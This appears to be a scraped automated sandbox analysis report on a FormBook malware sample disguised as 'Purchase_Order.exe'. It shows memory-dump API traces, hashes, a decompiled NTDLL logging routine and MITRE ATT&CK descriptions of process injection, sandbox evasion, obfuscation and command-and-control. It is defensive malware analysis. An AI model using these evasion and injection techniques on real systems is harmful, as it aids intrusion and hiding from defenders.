Source File: 00000010.00000002.501363256.00000000010C0000.00000040.00000001.sdmp, Offset: 010C0000, based on PE: false

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a33550cccd364999696af5e21ed20d7c6dc9e683b7c8ea19402d8c23a78a145f
Instruction ID: 5b32db2e8aaaaea6a2ca94fe5edccc1705ba93be8605c246c4401aa9c1e5909c
Opcode Fuzzy Hash: a33550cccd364999696af5e21ed20d7c6dc9e683b7c8ea19402d8c23a78a145f
Instruction Fuzzy Hash: C7F082761403247BD620EFA8DC84DE73B6DDF89264F14859AF99C5B646C530A5058BE0

Uniqueness

Uniqueness Score: -1.00%

Function 010D7010, Relevance: 1.5, APIs: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,-00000002,?,00000000,00000000,?,?,010CCCD0,?,?), ref: 010D704C

Memory Dump Source

Source File: 00000010.00000002.501363256.00000000010C0000.00000040.00000001.sdmp, Offset: 010C0000, based on PE: false

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 4b74d86bfe42af7d5fcb5c346ac09a19e00ed37dcbf51293ece7a7ca142cbe85
Instruction ID: 8b6cf998900de124bb25a3e1a8998170f3fbd96e163e2106373e31b1175f45b0
Opcode Fuzzy Hash: 4b74d86bfe42af7d5fcb5c346ac09a19e00ed37dcbf51293ece7a7ca142cbe85
Instruction Fuzzy Hash: C7E092773903043AE33065AD9C02FE7B79CDB91B21F550026FB4DEB2C0D595F80142A5

Uniqueness

Uniqueness Score: -1.00%

Function 010D7003, Relevance: 1.5, APIs: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,-00000002,?,00000000,00000000,?,?,010CCCD0,?,?), ref: 010D704C

Memory Dump Source

Source File: 00000010.00000002.501363256.00000000010C0000.00000040.00000001.sdmp, Offset: 010C0000, based on PE: false

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 659f466b7f14b1f640621e744618b7093130ed23843cefad0833be3aaeedf09c
Instruction ID: 1db437a518aac9ca0414976af2dac7c88ad43af153d0faeeac046d6ec89aad7d
Opcode Fuzzy Hash: 659f466b7f14b1f640621e744618b7093130ed23843cefad0833be3aaeedf09c
Instruction Fuzzy Hash: E8F0E5366943003AE730966C8C03FE777A8DB91B10F694119F649AB2C0C595B84547A5

Uniqueness

Uniqueness Score: -1.00%

Function 010D8490, Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(010D3516,?,010D3C8F,010D3C8F,?,010D3516,?,?,?,?,?,00000000,00000000,?), ref: 010D84BD

Memory Dump Source

Source File: 00000010.00000002.501363256.00000000010C0000.00000040.00000001.sdmp, Offset: 010C0000, based on PE: false

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ecb7fbf7fbf697e7ed6b19bb654fc0845e00bd12648aab82589a03cf581b1705
Instruction ID: 7227b32808979a84a1bdd953593abb5997062944f2bfcf57831fdac656836554
Opcode Fuzzy Hash: ecb7fbf7fbf697e7ed6b19bb654fc0845e00bd12648aab82589a03cf581b1705
Instruction Fuzzy Hash: 5DE012B1200208ABDB14EF99CC40EA777ACAF88650F118559FA085B281CA30F910CAB0

Uniqueness

Uniqueness Score: -1.00%

Function 010D8630, Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,?,010CCFA2,010CCFA2,?,00000000,?,?), ref: 010D8660

Memory Dump Source

Source File: 00000010.00000002.501363256.00000000010C0000.00000040.00000001.sdmp, Offset: 010C0000, based on PE: false

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: c524c4dcdeb286be68a002add1a356f71d86b8c938967e6280f3f61150ebef6a
Instruction ID: 8d2628f4f8b66723215878f8e78f0bf75a5a9c0594800f297ef7017d5194405d
Opcode Fuzzy Hash: c524c4dcdeb286be68a002add1a356f71d86b8c938967e6280f3f61150ebef6a
Instruction Fuzzy Hash: 30E01AB12002086BDB10EF49CC84EE737ADAF88650F018555FA0857241C930E8108BF5

Uniqueness

Uniqueness Score: -1.00%

Function 010CD40A, Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00008003,?,?,010C7C63,?), ref: 010CD43B

Memory Dump Source

Source File: 00000010.00000002.501363256.00000000010C0000.00000040.00000001.sdmp, Offset: 010C0000, based on PE: false

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 05f8ae6298244b6d809313534e29e9e68ea5344d81366c80b88b9eccb97a7215
Instruction ID: 968b046dc6781051bd121d978f565c9e772f3be1c1c586c9128bc8dde64ee631
Opcode Fuzzy Hash: 05f8ae6298244b6d809313534e29e9e68ea5344d81366c80b88b9eccb97a7215
Instruction Fuzzy Hash: 72E02BD47783443AF761BBB89C42FCB2A441B11740F5681BC9589AF4C7CC09D0154235

Uniqueness

Uniqueness Score: -1.00%

Function 010CD410, Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00008003,?,?,010C7C63,?), ref: 010CD43B

Memory Dump Source

Source File: 00000010.00000002.501363256.00000000010C0000.00000040.00000001.sdmp, Offset: 010C0000, based on PE: false

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 49ec7ea19b45082ce71059444928ac468c46794dc6bfedb52c16374b2d1231c4
Instruction ID: dcc87863e5782a4a1ab210e676990781e402510a66c3d490f91e361f02837c45
Opcode Fuzzy Hash: 49ec7ea19b45082ce71059444928ac468c46794dc6bfedb52c16374b2d1231c4
Instruction Fuzzy Hash: 87D05E657503043BE610ABA89C02F6672C86B54A00F494064FA899B2C3D950E4004561

Uniqueness

Uniqueness Score: -1.00%

Function 04FA967A, Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04FA9694

Memory Dump Source

Source File: 00000010.00000002.505423938.0000000004F40000.00000040.00000001.sdmp, Offset: 04F40000, based on PE: true

Associated: 00000010.00000002.505711880.000000000505B000.00000040.00000001.sdmp Download File
Associated: 00000010.00000002.505728315.000000000505F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 04ecb7b0ef9d30fc3f36e58f01709cff8d78f536f7a4482440764181f63a3c80
Instruction ID: aa8625b04fa865060abcb1e70b91e4d8760b862226f75348afaa3d700202d1e1
Opcode Fuzzy Hash: 04ecb7b0ef9d30fc3f36e58f01709cff8d78f536f7a4482440764181f63a3c80
Instruction Fuzzy Hash: 37B02BF1C010C0C6F701D7600608B173900BBC0300F16C031D1020240A4378F092F1F2

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 04FFFDDA, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E04FFFDDA(intOrPtr* __edx, intOrPtr _a4) {
				void* _t7;
				intOrPtr _t9;
				intOrPtr _t10;
				intOrPtr* _t12;
				intOrPtr* _t13;
				intOrPtr _t14;
				intOrPtr* _t15;

				_t13 = __edx;
				_push(_a4);
				_t14 =  *[fs:0x18];
				_t15 = _t12;
				_t7 = E04FACE00( *__edx,  *((intOrPtr*)(__edx + 4)), 0xff676980, 0xffffffff);
				_push(_t13);
				E04FF5720(0x65, 1, "RTL: Enter CriticalSection Timeout (%I64u secs) %d\n", _t7);
				_t9 =  *_t15;
				if(_t9 == 0xffffffff) {
					_t10 = 0;
				} else {
					_t10 =  *((intOrPtr*)(_t9 + 0x14));
				}
				_push(_t10);
				_push(_t15);
				_push( *((intOrPtr*)(_t15 + 0xc)));
				_push( *((intOrPtr*)(_t14 + 0x24)));
				return E04FF5720(0x65, 0, "RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u\n",  *((intOrPtr*)(_t14 + 0x20)));
			}

0x04fffdda
0x04fffde2
0x04fffde5
0x04fffdec
0x04fffdfa
0x04fffdff
0x04fffe0a
0x04fffe0f
0x04fffe17
0x04fffe1e
0x04fffe19
0x04fffe19
0x04fffe19
0x04fffe20
0x04fffe21
0x04fffe22
0x04fffe25
0x04fffe40

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 04FFFDFA

Strings

RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 04FFFE2B
RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 04FFFE01

Memory Dump Source

Source File: 00000010.00000002.505423938.0000000004F40000.00000040.00000001.sdmp, Offset: 04F40000, based on PE: true

Associated: 00000010.00000002.505711880.000000000505B000.00000040.00000001.sdmp Download File
Associated: 00000010.00000002.505728315.000000000505F000.00000040.00000001.sdmp Download File

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u
API String ID: 885266447-3903918235
Opcode ID: b59deb01b435c84bc7e1bd3293c78a1fa49cf5a1e1e5c8f259cc721f0b96127c
Instruction ID: 30f824eec8400d3abe00ff6837de44b20249d05c29e3b10f0e4658c55663be5e
Opcode Fuzzy Hash: b59deb01b435c84bc7e1bd3293c78a1fa49cf5a1e1e5c8f259cc721f0b96127c
Instruction Fuzzy Hash: 28F0C273640601BBE6201A45DC06E23BF6AEF44730F150315F728561E1EAA2F8219AB4

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report Purchase_Order.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: FormBook

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Signature Overview

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers